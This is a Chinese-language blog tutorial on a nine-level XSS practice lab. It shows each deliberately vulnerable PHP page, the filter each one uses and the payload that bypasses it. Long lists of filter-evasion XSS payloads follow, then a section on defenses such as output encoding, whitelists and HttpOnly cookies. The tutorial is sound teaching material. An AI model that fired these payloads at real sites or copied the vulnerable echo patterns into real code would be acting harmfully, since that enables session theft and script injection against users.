[网络安全] 六.XSS跨站脚本攻击靶场案例九题及防御方法-2

2021-12-02 19:42:23 浏览数 (1)

文章目录:

  • 一.XSS靶场案例分析
  • 二.XSS构造及漏洞利用
  • 三.如何防御XSS

一.XSS靶场案例分析

1.XSS案例:第1关

首先,看下弹窗机制。

  • 利用基本的script标签来弹窗 < script>alert('xss')
  • 利用iframe标签的src属性来弹窗 < iframe src=javascript:alert('xss')>
  • 利用标签的href属性来弹窗 < a href=javascript:alert('xss')>Eastmount 此时超链接javascript:alert('xss')效果和浏览器直接打开这个地址是一样的,这里还可以使用javascript:alert(document.cookie)来弹出当前会话的cookie。
  • 利用标签来弹窗 < img scr=1 onerror=alert('xss')> 借用img标签的onerror事件,img标签支持onerror事件,在装载文档或图像的过程中如果发生了错误,就会触发onerror事件。可以使用一张提示错误的图片代替显示不了的图片。 < img src="http://www.baidu.com/img/logo.gif" onclick=alert('xss')> 当src后面的值正确时,可以用onclick事件来触发弹窗。这里不论src后面的值是否正确,只要点击鼠标,就会触发弹窗事件。

接着用WAMP搭建环境,大家也可以用PHPSTUDY或服务器。

九道题目对应的位置如下,htdocs/xss路径下。

XSS靶场第一关源码

代码语言:javascript复制
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>FOX-XSS闯关-第一关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
  color: #F00;
}
</style>
<hr>

<h1>FOX-XSS闯关-第一关</h1><hr>
<h3>提示:以get传递name参数名,如xxs1.php?name=fox<br>
任务要求:绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
Hello
<?php
  header("Content-Type:text/html; charset=utf-8");
  if(isset($_GET)&&!empty($_GET)) {
    $name = $_GET["name"];
    echo $name;
  }
?>
</body>
</html>

当我们输入“fox”值弹出对应的结构,如图所示:

  • http://localhost/xss/xss1.php?name=fox

分析源码

  • 无过滤,直接用常规的进行绕过
  • <script>alert('Eastmount')

运行结果如下图所示,直接弹窗,这也是最简单的情况。


2.XSS案例:第2关

XSS靶场第二关源码

代码语言:javascript复制
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>FOX-XSS闯关-第二关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
  color: #F00;
}
</style>

<hr>
<h1>FOX-XSS闯关-第二关</h1><hr>
<h3>提示:以get传递name参数名,如xxs2.php?name=fox<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
Hello
<?php
  header("Content-Type:text/html; charset=utf-8");
  if(isset($_GET)&&!empty($_GET)) {
    $name = $_GET["name"];
    $name = preg_replace("/<script>/","",$name);
    $name = preg_replace("/</script>/","", $name);
    echo $name;
  }
?>
</body>
</html>

当我们输入<script>alert('Eastmount') 时,并没有弹出窗体,运行结果如下图所示:

接着我们查看源代码,如下图所示:

分析源码

  • 发现存在对script进行过滤
  • 过滤语句:preg_replace("/< script >/","",$name)
  • 存在问题:没有进行大小写过滤,可以改变大写进行绕过
  • <Script>alert('Eastmount')

preg_replace()函数如果检测到< script >和就会把其替换为指定字符(区分大小写)。

运行结果如下图所示,直接弹窗,通过大小写实现绕过。


3.XSS案例:第3关

XSS靶场第三关源码

代码语言:javascript复制
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>FOX-XSS闯关-第三关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
  color: #F00;
}
</style>

<hr>
<h1>FOX-XSS闯关-第三关</h1><hr>
<h3>提示:以get传递name参数名,如xxs3.php?name=fox<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
Hello
<?php
  header("Content-Type: text/html; charset=utf-8");
  if(isset($_GET)&&!empty($_GET)) {
    $name = $_GET["name"];
    $name = preg_replace("/<script>/i","", $name);
    $name = preg_replace("/</script>/i","", $name);
    echo $name;
  }
?>
</body>
</html>

分析源码

  • 发现存在对script进行过滤,同时源码中“i”表示
  • 过滤语句:preg_replace("/< script >/i","", $name);
  • 存在问题:这里还是用preg_replace()函数,只不过这里替换时不区分大小写,所以这里我们不能用大小写绕过,但可以用双写或者嵌套绕过
  • <sc< script>ript>alert('Eastmount')cript>

运行结果如下图所示,直接弹窗,同时双写嵌套实现绕过。

也可以通过其它方法进行XSS攻击。

代码语言:javascript复制
name=< img src="http://www.baidu.com/img/logo.gif" onclick=alert('xss')>

4.XSS案例:第4关

XSS靶场第四关源码

代码语言:javascript复制
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>FOX-XSS闯关-第四关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
  color: #F00;
}
</style>

<hr>
<h1>FOX-XSS闯关-第四关</h1><hr>
<h3>提示:以get传递name参数名,如xxs4.php?name=fox<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
<?php
  header("Content-Type: text/html; charset=utf-8");
  if(isset($_GET)&&!empty($_GET)) {
    if (preg_match('/script/i', $_GET["name"])) {
      die("error");
    }
  }
?>

Hello 
<?php 
  if(isset($_GET)&&!empty($_GET)) {
    echo $_GET["name"];
    }
?>

</body>
</html>

分析源码

  • 发现存在对script进行过滤,get传来name参数,然后判断有没有script
  • 过滤语句:pregmatch('/script/i', $GET["name"])
  • 存在问题:调用preg_match()函数,只要在获取的参数中含有script字符串即报错
  • <img src="1" onerror="alert('Eastmount')"> 使用img标签来绕过,img src调用图片失败然后执行后面的动作

运行结果如下图所示,直接弹窗,通过插入图片onerror调用alert函数绕过。


5.XSS案例:第5关

XSS靶场第五关源码

代码语言:javascript复制
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>FOX-XSS闯关-第五关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
  color: #F00;
}
</style>

<hr>
<h1>FOX-XSS闯关-第五关</h1><hr>
<h3>提示:以get传递name参数名,如xxs5.php?name=fox<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
<?php
  header("Content-type: text/html; charset=utf-8");
  if(isset($_GET)&&!empty($_GET)) {
    if (preg_match('/alert/i', $_GET["name"])) {
      die("error");
    }
  }
?>

Hello 

<?php 
  if(isset($_GET)&&!empty($_GET)) {
    echo $_GET["name"]; 
  }
?>
</body>
</html>

当我们输入包含alert字样就提示错误,并没有弹出窗体,运行结果如下图所示:

分析源码

  • 发现存在对alert进行过滤
  • 过滤语句:pregmatch('/alert/i', $GET["name"])
  • 存在问题:调用preg_match()函数,只要在获取的参数中含有alert字符串即报错,也就是我们的Payload的中不能出现alert,这样的情况下可以用编码来绕过
  • JavaScript fromCharCode()

fromCharCode()可接受一个指定的Unicode值,然后返回一个字符串。注意,该方法是String的静态方法,字符串的每个字符都由单独的Unicode数字编码指定,使用语法为:

  • String.fromCharCode()

在线转换网站:

  • http://tool.chinaz.com/Tools/Unicode.aspx

接着我们构建alert('Eastmount')的ASC编码,如下图所示:

代码语言:javascript复制
<script>eval(String.fromCharCode(97,108,101,114,116,40,39,69,97,115,116,109,111,117,110,116,39,41))</script>

运行结果如下图所示,直接弹窗,通过编码方式和fromCharCode组合绕过。


6.XSS案例:第6关

XSS靶场第六关源码

代码语言:javascript复制
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>FOX-XSS闯关-第六关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
  color: #F00;
}
</style>

<hr>
<h1>FOX-XSS闯关-第六关</h1><hr>
<h3>提示:以get传递name参数名,如xxs6.php?name=fox<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
Hello
<script>
  var $a = "<?php  echo $_GET["name"]; ?>";
</script>
</body>
</html>

当我们输入之前的编码方法来尝试绕过,但没有弹出窗体,运行结果如下图所示:

源码如下图所示,它有个$a赋值变量。

分析源码

  • 发现是在JS环境中输入PHP变量,接收get传来的name参数赋值给$a
  • 过滤语句:var $a = "";
  • 存在问题:可以通过构造JS脚本使标签闭合然后加入新标签
  • <script>alert('Eastmount)
  • 1";<img scr=1 onerror=alert('Eastmount')>< script>

该变量在<script>标签中,只要能够突破这个赋值变量,就可以利用这个<script>标签来弹窗,类似于SQL注入的闭合前面的语句,然后重新赋值。

匹配过程如下,最终实现img弹出alert,下面的匹配过程希望大家好好理解,从上往下实现。

运行结果如下图所示,直接弹窗,通过JS闭合标签实现绕过。

另一种方法如下图所示:


7.XSS案例:第7关

XSS靶场第七关源码

代码语言:javascript复制
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>FOX-XSS闯关-第七关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
  color: #F00;
}
</style>

<hr>
<h1>FOX-XSS闯关-第七关</h1><hr>
<h3>提示:以get传递name参数名,如xxs7.php?name=fox<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
Hello
<script>
  var $a= '<?php echo htmlentities($_GET["name"]); ?>';
</script>
</body>
</html>

当我们输入之前的编码方法来尝试绕过,但没有弹出窗体,运行结果如下图所示:

查看源代码发现字符被转义了。

分析源码

  • 发现存在字符转义,比如 < 和 >
  • 过滤语句:htmlentities($_GET["name"])
  • 存在问题:代码在JS环境中输出通过HTML编码的PHP变量,使用htmlentities()函数将字符转换为HTML实体。但htmlentities()函数并不能转换所有的特殊字符,是转换除了空格之外的特殊字符,且单引号和双引号需要单独控制(通过第二个参数),这里使用单引号绕过
  • ';alert('Eastmount');'
  • Eastmount';alert($a);//

htmlentities()第2个参数取值如下:

  • ENT_COMPAT:默认值,只转换双引号
  • ENT_QUOTES:两种引号都转换
  • ENT_NOQUOTES:两种引号都不转换

绕过代码类似于之前的过狗一句话,将前面的Eastmount赋值给a,然后弹出 a。

注意,PHP中双引号输出和单引号输出有些差别,比如双引号输入具体指“123”,而单引号是$a。

代码语言:javascript复制
<?php
    $a = 123;
    echo "$a";
    echo '$a';
?>

运行结果如下图所示,直接弹窗,通过单引号和匹配规则绕过函数htmlentities()。


8.XSS案例:第8关

XSS靶场第八关源码

代码语言:javascript复制
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>FOX-XSS闯关-第八关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
  color: #F00;
}
</style>

<hr>
<h1>FOX-XSS闯关-第八关</h1><hr>
<h3>提示:以post传递name参数名<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
<?php
  header("Content-Type: text/html; charset=utf-8");
    if (isset($_POST["name"])) {
    echo "HELLO ".htmlentities($_POST["name"]);
    }
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>
  
  </body>
</html>

当我们输入之前的编码方法来尝试绕过,但没有弹出窗体,运行结果如下图所示:

查看源代码如下图所示:

分析源码

  • 它是POST传输,尝试输入 < img scr=1 onerror=alert('Eastmount')> 发现被转义,代码使用htmlentities函数进行转义处理
  • 过滤语句: "HELLO ".htmlentities($_POST["name"])
  • 存在问题:这里存在一个突破口 <form action="SERVER['PHPSELF']; ?>" ,当前正在执行的文件名为 $SERVER['PHPSELF'] ,即我们的“xss8.php”,尝试进行重新组合绕过
  • 绕过组合
代码语言:javascript复制
/"><script>alert('Eastmount')</script>"< "
/"><img src=1 onerror=alert('Eastmount')><form

闭合前面,然后后面进行重新组合,如下图所示:

组合后的语句如下所示:

代码语言:javascript复制
http://127.0.0.1/xss/xss8.php/"><script>alert('Eastmount')</script>"< "
http://127.0.0.1/xss/xss8.php/"><img src=1 onerror=alert('Eastmount')><form

运行结果如下图所示,直接弹窗,通过组合规则绕过 $SERVER['PHPSELF'],采用POST提交请求。


9.XSS案例:第9关

XSS靶场第九关源码

代码语言:javascript复制
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>FOX-XSS闯关-第九关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
  color: #F00;
}
</style>

<hr>
<h1>FOX-XSS闯关-第九关</h1><hr>
<h3>任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>

<script>
  document.write(location.hash.substring(1));
</script>
</body>
</html>

当我们输入之前的编码方法来尝试绕过,但没有弹出窗体,运行结果如下图所示:

分析源码

  • XSS直接在页面输出锚点id,这里的location是获取当前URL的信息,hash属性是一个可读可写的字符串,该字符串是URL的锚部分(从 # 号开始),基本用法为location.hash
  • 过滤语句: document.write(location.hash.substring(1))
  • 存在问题:这里可以使用 # 号闭合,然后加入语句执行,构建一个带XSS的锚点
  • #< script>alert('Eastmount')

运行结果如下图所示,刷新网页后即可弹窗。

代码语言:javascript复制
http://localhost/xss/xss9.php #<script>alert('Eastmount')</script>

二.XSS构造及漏洞利用

1.XSS构造

在进行SQL注入中,我们可以设置相应的过滤函数防止,比如防止万能密码('or'='or'或admin),也能调用preg_replace()函数将特色字符过滤。同样,XSS攻击代码也可能会被过滤,如下所示,它将< script>和 < /script>进行了过滤。

如何绕过这个过滤呢?这里可以通过大小写成功绕过 ,如下所示:

为了更好地理解XSS跨站脚本攻击,更好地进行防御,这里我们分享常见的绕过XSS过滤(XSS-Filter)的方法。

1) 利用<>标记注射HTML、JavaScript

代码语言:javascript复制
 通过<script>标签就能任意插入由JavaScript或VBScript编写的恶意脚本代码
 常用案例:
     <script>alert(/xss/)</script>

2) 利用HTML标签属性值执行XSS

代码语言:javascript复制
 通过javascript:[code]伪协议形式编写恶意脚本
 常用案例:
     <table background="javascript:alert(/xss/)"></table>
     <img src="javascript:alert('xss');" >

3) 空格回车Tab绕过过滤

代码语言:javascript复制
注意javas和cript之间的间隔不是由空格键添加的,而是用Tab键添加的。
    <img src="javas    cript:alert(/xss/)" width=100>

使用回车分隔:
<img src="javas
cript:
alert(/xss/)" width=100>

4) 对标签属性值进行转码

代码语言:javascript复制
<img src="javascript:alert('xss');">
替换成: 
<img src="javascrip&#116&#58alert('xss');">
其中,t的ASCII码值为116,用”&#116”表示,:则表示&#58。
再进一步替换:
<img src="javascrip&#000116&#00058alert('xss');">

5) 产生事件如click、mouseover、load等

W3C(万维网联盟)将事件分为3种不同的类别:

  • 用户接口(鼠标、键盘)
  • 逻辑(处理的结果)
  • 变化(对文档进行修改)
代码语言:javascript复制
<input type="button" value="click me" onclick="alert('xss')" />
<img src="#" onerror=alert(/xss/)>

6) 利用CSS跨站过滤

常见示例如下所示:

代码语言:javascript复制
<div style="background-image:url(javascript:alert('xss'))">

<style>
  body {background-image:url("javascript:alert(/xss/)");}
</style>

<div style="width:expression(alert('XSS'));">

<img src="#" style="xss:expression(alert(/xss/));">

<style>
    body {background-image: expression(alert("xss"));}
</style>

<div style="list-style-image:url(javascript:alert('XSS'));">

<div style="background-image:url(javascript:alert('XSS'));">

<img src=" javascript:alert('xss')">

<style>
    @import 'javascript:alert(/xss/)';
</style>

7) 扰乱XSS过滤规则

代码语言:javascript复制
一个正常的XSS输入: 
    <img src="javascript:alert(0);">

转换大小写后的XSS:
    <IMG SRC="javascript:alert(0);">

大小写混淆的XSS:
    <iMg sRC="JaVasCript:alert(0);">

不用双引号,而是使用单引号的XSS:
    <img src='javascript:alert(0);'>

不适用引号的XSS:
    <img src=javascript:alert(0);>

不需要空格的XSS:
    <img/src="javascript:alert('xss');">

构造不同的全角字符: 
    <div style="{left:expression(alert('xss'))">

利用注释符
    <div style="wid/**/th:expre/*xss*/ssion(alert('xss'));">

和– 
    <style>
        @import 'javascript:alert(/xss/)';
</style>
    <style> 
        @import 'java0sc00ri000pt:alert(/xss/)';
</style>

CSS关键字转码
    <div style="xss:65xpression(alert('XSS'));"> 
    <div style="xss:65xpression(alert('XSS'));">
    <div style="xss:065xpression(alert('XSS'));">
    
<!--<img src="--><img src=x οnerrοr=alert(1)//">

<comment><img src="</comment><img src=x οnerrοr=alert(1)//"> 

<style><img src=“</style><img src=x onerror=alert(1)//”>

8) 利用字符编码

代码语言:javascript复制
原始语句: 
    <img src="javascript:alert('xss');">

十进制编码 
    <img 
    src="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&
    #108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41&#59">

    <img 
    src="&#0106;&#097;&#0118;&#097;&#0115;&#099;&#0114;&#0105;&#0112;&#
    0116;&#058;&#097;&#0108;&#0101;&#0114;&#0116;&#040;&#039;&#0120;&#
    0115;&#0115;&#039;&#041;&#059;">

    <img 
    src="&#0000106&#000097&#0000118&#000097&#0000115&#000099&#000011
    4&#0000105&#0000112&#0000116&#000058&#000097&#0000108&#0000101&
    #0000114&#0000116&#000040&#000039&#0000120&#0000115&#0000115&#00
    0039&#000041&#000059">

十六进制编码
    <img 
    src="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#
    x61&#x6c&#x65&#x72&#x74&#x28&#x27&#x78&#x73&#x73&#x27&#x29&#x3b">

9) 利用字符编码eval()函数、eval()和string.fromCharCode()函数过滤

代码语言:javascript复制
<script>
        eval("x61x6cx65x72x74x28x27x78x73x73x27x29");
</script>

<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))" >

PS:由于JavaScript代码必须要写在代码块中才能显示,所以文章包含了很多代码块,望读者理解。


2.挖掘其他XSS漏洞

其他恶意攻击包括黑盒攻击测试、源代码审计、Flash XSS等。

1)黑盒攻击测试

Acunetix Web Vulnerability Scanner 是一款商业级的web漏洞扫描程序,它的功能非常强大,可以自动化检查各种web应用漏洞,包括XSS、SQL注入、代码执行、目录遍历、网站源代码暴力等。

黑盒攻击测试手工检测XSS代码常见用法包括:

2) 源码审计

顾名思义就是检查源代码中的安全缺陷,检查程序源代码是否存在安全隐患,或者有编码不规范的地方,通过自动化工具或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引发的安全漏洞,并提供代码修订措施和建议。例如,PHP全局变量如下所示:

3) Flash XSS

关于Flash的跨站漏洞其实很早就出现了。Flash的安全漏洞也不仅仅只有XSS,还有CSRF、跨域、代码执行等其他安全问题。Flash中编程使用的是ActionScript脚本,Flash产生的xss问题主要有两种方式:加载第三方资源和与javascript通信引发XSS。

Flash确实存在很多漏洞,后续读者也想深入研究了解,看看能不能复现几个漏洞代码出来。同时,Flash XSS感兴趣的读者可以阅读安全脉搏大神的这篇文章:

  • https://www.secpulse.com/archives/44299.html

三.如何防御XSS

由于XSS通常可以插入在script标签、HTML注释、标签属性名、标签属性值、标签名字、CSS等中,所以接下来我们简单讲讲如何防御XSS攻击。

1.输入过滤

输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当的内容提交,阻止或者忽略除此外的其他任何数据。如下代码,检查用户输入的电话号码是否真确(数字、字母检测)。

输入正确和错误分别提示。

输入验证要根据实际情况设计,下面是一些常见的检测和过滤:

  • 输入是否仅仅包含合法的字符
  • 输入字符串是否超过最大长度限制
  • 输入如果为数字,数字是否在指定的范围
  • 输入是否符合特殊的格式要求,如E-mail地址、IP地址等

2.输出编码

大多数的Web应用程序都存在一个通病,就是会把用户输入的信息完完整整的输出在页面中,这样很容易便会产生一个XSS。HTML编码在防止XSS攻击上起到很大的作用,它主要是用对应的HTML实体编号替代字面量字符,这样做可以确保浏览器安全处理可能存在恶意字符,将其当做HTMl文档的内容而非结构加以处理。


3.标签黑白名单过滤

有时根本就不需要考虑到它是不是HTML标签,我们根本用不到HTML标签。不管是采用输入过滤还是输出过滤,都是针对数据信息进行黑/白名单式的过滤。

不同的javascript写法包括:

代码语言:javascript复制
大小写混淆: 
    <img src=JaVaScRiPt:alert(‘xss’)>
插入[tab]键;
    <img src=”jav ascript:alert(‘xss’);”>
插入回车符: 
    <img src=”jav
        asrci
        pt:alert(‘xss’);”>
使用/**/注释符: 
<img src=”java/*xxx*/script:alert(‘xss’);”>

重复混淆关键字: 
    <img src=”java/*/*javascript*/script/*javascript*/*/script:alert(‘xss’);”>

使用&#十六进制编码字符: 
    <img src=”jav&#x09;ascript:alert(‘xss’);”>

使用&#十进制编码字符:
    <img src= jav&#97;script:alert(‘xss’);”>

使用&#十进制编码字符(加入大量的0000):
    <img src=”j&#00097;vascript:alert(‘xss’);”>

在开头插入空格:
    <img src=” javascript:alert(‘xss’);”>

黑名单:过滤可能造成危害的符号及标签,发现使用者输入参数的值为 < script>xxx< /script> 就将其取代为空白。其优点是可以允许开发某些特殊HTML标签,确实是可能因过滤不干净而使攻击者绕过规则。

白名单:白名单仅允许执行特定格式的语法,仅允许< img scr="http://xxx" > 格式,其余格式一律取代为空白。其优点是可允许特定输入格式的HTML标签,确实是验证程序编写难度校高,且用户可输入变化减少。


4.代码实体转义

由于只保留文字部分是一劳永逸的,有时我们还需要展示这个标签,比如说程序论坛当中要贴一个代码,这个时候我们需要用一些转义,它会把这个大括号、小括号以及双引号做一个转义,做为一个字符,就无法执行这个标签型,后面加一个参数,但有时候单引号也会造成XSS。


5.httponly防止cookie被盗取

一个信号当中有那么多的地方存在着这个输入以及检测的地方,可能就有一些地方漏掉,只要有一个地方漏掉了,用户的cookie信息就被盗取了。服务器在发送用户信息的时候,我们需要加上一个httponly,这个代码无法读取到cookie的信息,那么攻击者也是得不到这个信息,这对于用户来说也是非常好的保护。

比如说张三在我们网站上登陆了一下用户名,李四他特意发了一个攻击请求,他拿不到这个用户ID,就冒充不了这个张三。如果在Cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到Cookie信息,这样能有效的防止XSS攻击。

  • 最重要的是:千万不要引入任何不可信的第三方JavaScript到页面里!

四.总结

写到这里,网络安全系列第六篇文章就介绍完毕,希望您喜欢,如果文章存在错误或不足之处,还请海涵。真心感觉自己要学习的知识好多,也有好多大神卧虎藏龙,开源分享。作为初学者,我们可能有差距,不论你之前是什么方向,是什么工作,是什么学历,是大学大专中专,亦或是高中初中,只要你喜欢安全,喜欢渗透,就朝着这个目标去努力吧!有差距不可怕,我们需要的是去缩小差距,去战斗,况且这个学习的历程真的很美,安全真的有意思。但切勿去做坏事,我们需要的是白帽子,是维护我们的网络,安全路上不忘初心,继续加油。

0 人点赞